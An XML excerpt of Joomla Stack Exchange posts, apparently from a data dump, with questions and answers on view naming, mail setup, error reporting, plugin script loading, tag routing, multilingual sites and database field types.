  <row Id="12089" PostTypeId="2" ParentId="11089" CreationDate="2015-08-08T15:56:12.913" Score="2" Body="&lt;p&gt;Model is the best place to locate business logic. Specific calculation-functions can be assigned to helpers. Then, model frequently calls helper functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: Well, any object can call helpers as a way to isolate specific routines.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-08T15:56:12.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12090" PostTypeId="1" AcceptedAnswerId="12092" CreationDate="2015-08-08T21:07:43.457" Score="6" ViewCount="430" Body="&lt;p&gt;Is there a built in functionality available in joomla to determine the view name to plural?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created 2 views as 'delivery' and 'deliverys'.  The view 'delivery' is to display the records in a list view using default.php and the view 'deliverys' is to display one single records using edit.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hit the cancel button in the list view it redirects to a view called 'deliveries' and since I have the view name as 'deliverys' it says view not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just want to understand is this a built in feature in Joomla to determine the plural name for a given view?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2020-12-30T14:18:26.057" Title="Joomla singular and plural view names" Tags="|joomla-3.4|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12091" PostTypeId="2" ParentId="9301" CreationDate="2015-08-09T10:17:07.393" Score="1" Body="&lt;p&gt;I pretty much always use the cmandrill plugin (&lt;a href=&quot;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&quot; rel=&quot;nofollow&quot;&gt;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&lt;/a&gt;). It uses Mandrill (which is the engine behind MailChimp) to send out emails for you.&#xA;It avoids the need to figure out your server's email settings, and provides great reporting on what emails have been sent and whether they have been received / opened etc.&#xA;The Mandrill account is free up to a fairly large number of emails per month.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-08-09T10:17:07.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12092" PostTypeId="2" ParentId="12090" CreationDate="2015-08-09T13:16:45.493" Score="4" Body="&lt;p&gt;Yes, there is. Take a look at &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/e33857bbe74ea8e062613902869415bfd4afcb2b/libraries/legacy/controller/form.php#L105&quot; rel=&quot;nofollow noreferrer&quot;&gt;this if statement&lt;/a&gt; in &lt;code&gt;JControllerForm&lt;/code&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;So to redirect to &lt;code&gt;deliverys&lt;/code&gt;, you have to add property&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected $view_list = 'deliverys';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in your controller. If this dosen't exist, Joomla! tries to determine view name by itself.&lt;/p&gt;&#xA;&lt;p&gt;And ofcourse, other solution would be to rename your view.&lt;/p&gt;&#xA;&lt;p&gt;I think you have &lt;code&gt;delivery&lt;/code&gt; view for one record and &lt;code&gt;deliverys&lt;/code&gt; for list view, not vice versa?&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2020-12-30T14:18:26.057" LastActivityDate="2020-12-30T14:18:26.057" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12093" PostTypeId="1" CreationDate="2015-08-09T22:08:17.487" Score="1" ViewCount="2044" Body="&lt;p&gt;I am running Joomla on my computer (windows 8.1) over xampp.&#xA;I created a contact page following &lt;a href=&quot;https://www.siteground.com/tutorials/joomla-video/contact-form.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; guide but when I try to send an email I get &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice SMTP connect() failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get to global settings and folloing &lt;a href=&quot;https://joomla.stackexchange.com/questions/1146/activation-email-not-sent-via-localhost?newreg=3e7eaa9091fd4956abac86246fc37375&quot;&gt;this&lt;/a&gt; guide I used my gmail.&#xA;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am totally new to the world of Joomla and generally to the creations of websites!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="5702" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-10T17:07:45.693" Title="Joomla contact mail error &quot;SMTP connect() failed&quot;" Tags="|localhost|xampp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12094" PostTypeId="2" ParentId="12093" CreationDate="2015-08-09T22:38:18.883" Score="1" Body="&lt;p&gt;By default, Xampp doesn't support a mail service which is what the &lt;code&gt;Notice SMTP connect() failed&lt;/code&gt; error is associated with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel comfortable enough setting it up, a good post was written here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/15965376/how-to-configure-xampp-to-send-mail-from-localhost&quot;&gt;https://stackoverflow.com/questions/15965376/how-to-configure-xampp-to-send-mail-from-localhost&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Else you will have to put your site on a live hosting environment to test your contact form&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-09T22:38:18.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12095" PostTypeId="1" AcceptedAnswerId="12097" CreationDate="2015-08-09T22:56:48.640" Score="1" ViewCount="240" Body="&lt;p&gt;I am upgrading a Joomla 25 site to J3, and developing a new template. I am working locally on MAMP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever any php error occur, Joomla won't show what the error is, instead I am getting the blank screen and making it a real pain to fix those errors and work efficiently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever I try, I always get the local value of the error_reporting as 0. (Master value is 32767).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set it in the configuration.php, tried setting via the htaccess, I modified and set it directly in the error handling function inside the includes/framework.php, I ini_set it in the index.php of Joomla and also at the top of the index.php of the template, but yet the local error_reporting value remains 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no additional php.ini file loaded other than the main php config file and all other local php/joomla sites I have on my MAMP do show php errors according to their specified settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with this site?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-10T11:25:47.900" Title="Unable to set error_reporting to show errors in a Joomla site. What's going on?" Tags="|error-reporting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12096" PostTypeId="2" ParentId="12095" CreationDate="2015-08-09T23:03:50.447" Score="1" Body="&lt;p&gt;Inside your &lt;strong&gt;php.ini&lt;/strong&gt; file, have a look for the following and make sure the values are set as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; display_errors&#xA;  Default Value: On&#xA;&#xA;&#xA;; error_reporting&#xA;  Default Value: E_ALL &amp;amp; ~E_NOTICE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once any changes are made to the &lt;strong&gt;php.ini&lt;/strong&gt; file, be sure to restart Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, it could possible be an issue with the XDebug extensions that comes installed with PHP. Try uninstalling it, and installing a newer version&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-09T23:03:50.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12097" PostTypeId="2" ParentId="12095" CreationDate="2015-08-09T23:27:14.153" Score="0" Body="&lt;p&gt;With all common approaches exhausted with no success at changing the local error_reporting value, I started thinking that somewhere in the system's flow there is something that sets the error_reporting to 0, which is overriding anything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a system find/search for the term &quot;error_reporting&quot; in the root directory of this site.&#xA;In my search results, I got a bunch of referenced files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started opening them one by one, to investigate. Then finally I came across a system plugin that had the following piece of code inside its main file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// error_reporting set to show all errors except those for notices and coding standards warnings&#xA;// error_reporting (E_ALL ^ E_NOTICE);&#xA;// error_reporting (E_ALL ^ E_DEPRECATED);&#xA;// error_reporting (E_ALL);&#xA;error_reporting (0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented out the &lt;code&gt;error_reporting(0)&lt;/code&gt; and immediately the local error_reporting value became the same as the Master one, and finally I took back the control of being able to show any php errors.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After requests in the comments to publish the plugin name, I checked if the original code included the error_reporting(0). &#xA;I found the same version of the plugin and indeed this code was part of it.&#xA;The plugin is &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/seo-generator&quot; rel=&quot;nofollow&quot;&gt;SEO-GENERATOR v4.6&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;* I don't have access to review the latest version of the plugin to see if it is changed on this part.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-08-10T11:25:47.900" LastActivityDate="2015-08-10T11:25:47.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12098" PostTypeId="1" AcceptedAnswerId="12100" CreationDate="2015-08-10T03:01:00.627" Score="2" ViewCount="991" Body="&lt;p&gt;I've been trying for the last hour or so to get a single javascript added to the head via my system plugin, and am kind of pulling my hair out as to why it is not showing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got going in my plugin php file so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;//no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;class PlgJoomlaKey extends JPlugin&#xA;{&#xA;    public function onAfterRender ()&#xA;    {&#xA;        //only going to run these in the backend for now&#xA;        if ($app-&amp;gt;isSite()) {&#xA;            return;&#xA;        }&#xA;        $document = JFactory::getDocument();&#xA;        $document-&amp;gt;addScript(JUri::root().'plugins/system/joomlakey/joomlakey.js' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm obviously doing something wrong, but I have no clue what. I've tried as many different functions besides onAfterRender as I can see might work, but none of those seem to change anything. I've tweaked the file path every which way but that doesn't seem to be the problem (besides, it should add it, I'd at least see the (wrong) file path in the head).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the plugin is loading, because I can type, say, &lt;code&gt;break&lt;/code&gt; right above the comment of &lt;code&gt;//only going to run ...&lt;/code&gt; which then breaks my site when I reload - so the plugin is executing, but for some reason that script is not getting placed in the head like it should be.&lt;/p&gt;&#xA;" OwnerUserId="5632" LastActivityDate="2015-08-10T05:57:39.243" Title="Can't add Javascript in plugin" Tags="|joomla-3.x|plugin|system-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12099" PostTypeId="1" AcceptedAnswerId="12104" CreationDate="2015-08-10T03:28:17.670" Score="2" ViewCount="350" Body="&lt;p&gt;Making a joomla 3x website, testing it locally in wamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main menu layout is:&#xA;Home | News | [and so on...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News page includes the &quot;Popular Tags&quot; module which displays most popular tags.&#xA;If I click on a tag from that module, it brings something like tag search with all articles with such tags to be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the problem I have is that it takes me back to the home page. It turns the &quot;home&quot; menu active from &quot;news&quot; and then the article loaded appears under &quot;home&quot; instead of under &quot;news&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL-wise this is how it looks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News = &lt;code&gt;http://localhost/joomla/index.php/newsfeed&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt; &lt;em&gt;click on tags&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/joomla/index.php/component/tags/tag/7-taghere&lt;/code&gt; (As you see it already went to home)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&gt; &lt;em&gt;click on an article&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/joomla/index.php/79-blog/78-post-2&lt;/code&gt; (loaded in home)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;meanwhile if I click an article straight from the news page it goes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/joomla/index.php/newsfeed/78-post-2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I control this? I tried to look for some &quot;parent&quot; setting like Menus have but sadly articles have no such setting...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately what I want to achieve is to limit the whole thing to news menu page so it wouldn't switch to home throughout the procedure. I note that when it goes to home it actually doesn't really show the home itself, but it does change the menu &quot;button&quot; to home and the URL is made from home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help here would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="126" LastEditDate="2015-08-11T15:35:03.360" LastActivityDate="2015-12-04T07:19:23.647" Title="How to edit Popular Tags search parent (page/menu/URL)?" Tags="|joomla-3.x|menu-item|url|tags|search|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12100" PostTypeId="2" ParentId="12098" CreationDate="2015-08-10T05:57:39.243" Score="5" Body="&lt;p&gt;As the name of event &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System#onAfterRender&quot; rel=&quot;noreferrer&quot;&gt;onAfterRender&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This event is triggered after the framework has rendered the application.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So application has been already rendered, you can't edit it anymore. You could use &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System#onBeforeRender&quot; rel=&quot;noreferrer&quot;&gt;onBeforeRender&lt;/a&gt;, but since you are adding JS to &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, most logical would be to use &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System#onBeforeCompileHead&quot; rel=&quot;noreferrer&quot;&gt;onBeforeCompileHead&lt;/a&gt; event.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This event is triggered before the framework creates the Head section of the Document.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And you probably have error reporting off. You haven't defined &lt;code&gt;$app&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeCompileHead()&#xA;{&#xA;    //only going to run these in the backend for now&#xA;    $app = JFactory::getApplication();&#xA;    if ($app-&amp;gt;isSite()) {&#xA;        return;&#xA;    }&#xA;&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addScript(JUri::root().'plugins/system/joomlakey/joomlakey.js' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-08-10T05:57:39.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12101" PostTypeId="1" CreationDate="2015-08-10T08:03:51.293" Score="7" ViewCount="1237" Body="&lt;p&gt;I am developing an accommodation booking website on Joomla 3.4.3 and i have installed Falang. My website must have two languages, default is English(en-GB) and translated to Afrikaans(af-ZA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before i go further into translating content for Falang, i want to find out what the 'Best Practice' for creating a Multi-lingual website &lt;strong&gt;currently&lt;/strong&gt; is. I know that Falang is a great option(free or premium), but does Joomla 3.4.3 have the same capability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that in order to offer multi-language with the built-in language switching functionality of Joomla, one would need to duplicate ALL content(Menus, Articles, etc.) and translate to the respective languages. After following multiple tutorials which may have been outdated, i got the built-in functionality to (sort of) work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Falang, it is basically the same process, just made a bit easier by allowing the user to do all translations in one area(Components-&gt; Falang-&gt; Translation-&gt; And select the required content and language.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&#xA;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Is my above statement true in terms of Joomla and Falang multi-language functionality? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Has &lt;strong&gt;Joomla 3.4&lt;/strong&gt; made it easier to create multi-language websites without having to use 3rd party software? i.e.: Is there a new, easy way to work with Joomla multi-language? Or is it still the same old procedure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Would it be safe to say that using Falang would still be the best option? (between Joomla 3.4 language switching and Falang)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4- Does anyone know of a Joomla Extension that can &lt;strong&gt;automatically translate&lt;/strong&gt; newly added content without Admin having to translate the information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5- Would Google Translate be an option to use &lt;strong&gt;instead of&lt;/strong&gt; Falang?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2022-03-21T20:10:51.713" Title="Joomla 3.4 Multi-language site functionality" Tags="|joomla-3.4|multilingual|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12102" PostTypeId="2" ParentId="12101" CreationDate="2015-08-10T09:04:06.087" Score="2" Body="&lt;p&gt;From what I have read, it seems you'd prefer to have all content automatically translated. Seeing as this is most likely the case, I don't think Falang would be necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla has made translatable content so much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I haven't ever used Falang before, so I'm not sure how easy to use it is, or how feature rich it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For automatic translations, you can use a simple and popular module called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/languages/automatic-translations/gtranslate&quot; rel=&quot;nofollow&quot;&gt;GTranslate&lt;/a&gt; which utilises Google Translate. Maybe also have a look at the &lt;a href=&quot;http://extensions.joomla.org/category/languages/automatic-translations&quot; rel=&quot;nofollow&quot;&gt;Automatic Translations&lt;/a&gt; category on the Joomla Extensions Directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do however wish to translate this by yourself:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable both the &lt;strong&gt;Language Filter&lt;/strong&gt; and &lt;strong&gt;Language Code&lt;/strong&gt; plugins via the backend.&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extensions &lt;em&gt;&gt;&gt;&lt;/em&gt; Language Manager&lt;/strong&gt; and install the Afrikaans language pack.&lt;/li&gt;&#xA;&lt;li&gt;From here on, you can create separate articles, menu items, etc, and assign them to each language.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Maybe someone with Falang experience could shed more light on the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps though&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-10T09:04:06.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12104" PostTypeId="2" ParentId="12099" CreationDate="2015-08-10T12:10:12.913" Score="2" Body="&lt;p&gt;You can control this by creating menu items first for the Joomla articles category (blog/newsfeed or whatever), then for the tag component itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. JOOMLA CONTENT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to have a page where the articles posted under the blog category will be displayed under the same URL scheme, like &lt;code&gt;www.domain.com/blog/article-title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this you need to have a &lt;strong&gt;Category Blog menu item&lt;/strong&gt; and set its category to the top category of your Blogs category section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this category page will be accessible from the following url scheme:&lt;br&gt;&#xA;&lt;code&gt;www.domain.com/blog-menu-item-alias&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, all articles of this category &lt;em&gt;(unless they are linked directly with a menu item, or they belong to a category that is associated with another menu item that takes precedence over the one you just created &lt;a href=&quot;https://joomla.stackexchange.com/questions/8764/why-does-category-view-use-home-page-itemid-when-displaying-the-articles/8769#8769&quot;&gt;&lt;strong&gt;check here for more info on this&lt;/strong&gt;&lt;/a&gt;)&lt;/em&gt;, will be accessible through the same scheme, disregarding from where they are linked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.domain.com/blog-menu-item-alias/article-alias&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. TAGS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to also control the where the tagged items will be accessible, you need the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;Tagged Items menu item&lt;/strong&gt; (tags component), which you have to set it to display tagged items from all your tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display the listed tagged items, below the Blog menu item, then I would advise you to set the tags menu item as child of the your Blog menu item (set blog menu item as parent of the tags one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you click on one tag from your module, the Tags Items page will be displayed with the Blog articles items as parent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each article you click from this page, assuming it belongs to one of the blog categories, will be accessible following the above URL scheme, of the blog category, since it will be linked through that menu item:&lt;br&gt;&#xA;&lt;code&gt;www.domain.com/blog-menu-item-alias/article-alias&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, here you may face a small issue, if you are still creating new tags while you are creating new articles, as the new tags won't be included in your tagged list of items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible workaround is to define a standard list of tags that you want to use from within the tags component, select them all in your Tags menu item, and disable the AJAX creation of new tags from inside the com_content component, and use only tags from your list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you are creating new tags and those are not included in your tags menu item, most likely they will be displayed again under the home menu item - it won't affect where the actual article will be accessible though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The more advanced approach would be to create a custom menu item / override for the tags component, which will use all the tags by default, without the need to select them one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**The above will take you closer to what you are after, I wrote them at once and in a hurry, so let me know if there is any non-sense anywhere or you need further explanations.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-10T12:10:12.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12106" PostTypeId="2" ParentId="10814" CreationDate="2015-08-10T13:24:49.960" Score="1" Body="&lt;p&gt;Recently i made a component when i change the o publish status via Ajax request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a method &lt;code&gt;setPublish($id, $status)&lt;/code&gt; on model, and two methods on my  controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function setPublishTrue(){&#xA;   $data = JRequest::get('post'); //get the item id via post&#xA;   $model = $this-&amp;gt;getModel('Promocaos');&#xA;   $model-&amp;gt;setPublish($data['id'], 1);&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ajax request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        var formdata = $(&quot;#form-&quot; + this.id).serialize();&#xA;&#xA;        if(state){&#xA;            jQuery.ajax({&#xA;            type: &quot;POST&quot;,&#xA;            dataType: &quot;json&quot;,&#xA;            timeout: 6000,&#xA;            url: &quot;index.php?option=com_mycomponent&amp;amp;task=setPublishTrue&amp;amp;controller=mycontroller&quot;,&#xA;            data: formdata,&#xA;            processData: false&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, i can change the status via Ajax requests&lt;/p&gt;&#xA;" OwnerUserId="5681" LastActivityDate="2015-08-10T13:24:49.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostTypeId="1" AcceptedAnswerId="12109" CreationDate="2015-08-10T13:25:49.143" Score="1" ViewCount="194" Body="&lt;p&gt;What is the correct MySQL database datatype to be able to store the form data of the Joomla Standard Form Field &lt;a href=&quot;https://docs.joomla.org/User_Group_List_form_field_type&quot; rel=&quot;nofollow&quot;&gt;usergrouplist&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Joomla 3.2 usergrouplist should be used instead of &lt;a href=&quot;https://docs.joomla.org/Usergroup_form_field_type&quot; rel=&quot;nofollow&quot;&gt;usergroup&lt;/a&gt;. As there is no documentation for usergrouplist so far I am wondering what's the correct &lt;code&gt;CREATE TABLE&lt;/code&gt; statement to be able to store the form data in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Serializing the form data and saving it to a text file shows that the form data is an array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'usergrouplist_form_data' =&amp;gt; &#xA;  array (&#xA;    0 =&amp;gt; '1',&#xA;    1 =&amp;gt; '11',&#xA;  ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An overview of all Joomla standard form field types can be found &lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2015-08-10T13:56:15.513" Title="Database datatype for Joomla Standard Form Field &quot;usergrouplist&quot;" Tags="|joomla-3.x|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12108" PostTypeId="2" ParentId="11076" CreationDate="2015-08-10T13:34:48.710" Score="1" Body="&lt;p&gt;You can copy and paste the &lt;code&gt;mod_* folder&lt;/code&gt; to get the files and scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the row about the module on &lt;code&gt;#__extensions&lt;/code&gt; to get the configuration params.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In  &lt;code&gt;#__modules&lt;/code&gt; and &lt;code&gt;#__modules_menu&lt;/code&gt; you can find how it is showed on site.  But you can reconfigure by &lt;strong&gt;Joomla Administrator&lt;/strong&gt; and after copy and paste the params if necessary&lt;/p&gt;&#xA;" OwnerUserId="5681" LastActivityDate="2015-08-10T13:34:48.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12109" PostTypeId="2" ParentId="12107" CreationDate="2015-08-10T13:56:15.513" Score="2" Body="&lt;p&gt;The usergrouplist is just a list of user group IDs in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're going to save a single user group ID then any INT type (e.g. SMALLINT) should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can use this field (as any other list type) also with the option multiple=true. Then you have different options, for example set your column type to a TEXT type and save all values as JSON string or comma-separated list into it. Or you could use a third table with INT types again which would store the mappings of user group IDs to your data.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-10T13:56:15.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12111" PostTypeId="1" AcceptedAnswerId="12113" CreationDate="2015-08-10T14:59:57.293" Score="3" ViewCount="2049" Body="&lt;p&gt;I have installed the update from Joomla 3.3 to 3.4. After that, the Weblinks component showed an update, which could not be installed due to a missing database table.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, the weblinks entry in the extension menu showed a 404 - component missing.&lt;br /&gt;&#xA;I then proceeded to deinstall the weblinks, but it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;JFolder: :delete: The Path is no Folder! Pfad:&#xA;/html/joomla/administrator/components/com_weblinks&lt;/p&gt;&#xA;&lt;p&gt;JFolder: :delete: The Path is no Folder! Pfad:&lt;br /&gt;&#xA;/html/joomla/components/com_weblinks&lt;/p&gt;&#xA;&lt;p&gt;Componentdeinstallation: Deinstallation not possible, please remove&#xA;manually.&lt;/p&gt;&#xA;&lt;p&gt;Packagedeinstallation: Manifest-File not found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How do I remove the rests of the weblinks package from my Joomla installation?&lt;/p&gt;&#xA;" OwnerUserId="5710" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-11T08:29:21.637" Title="How to remove weblinks component rests after updating from J 3.3 to 3.4?" Tags="|joomla-3.x|joomla-3.3.x|joomla-3.4|update|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
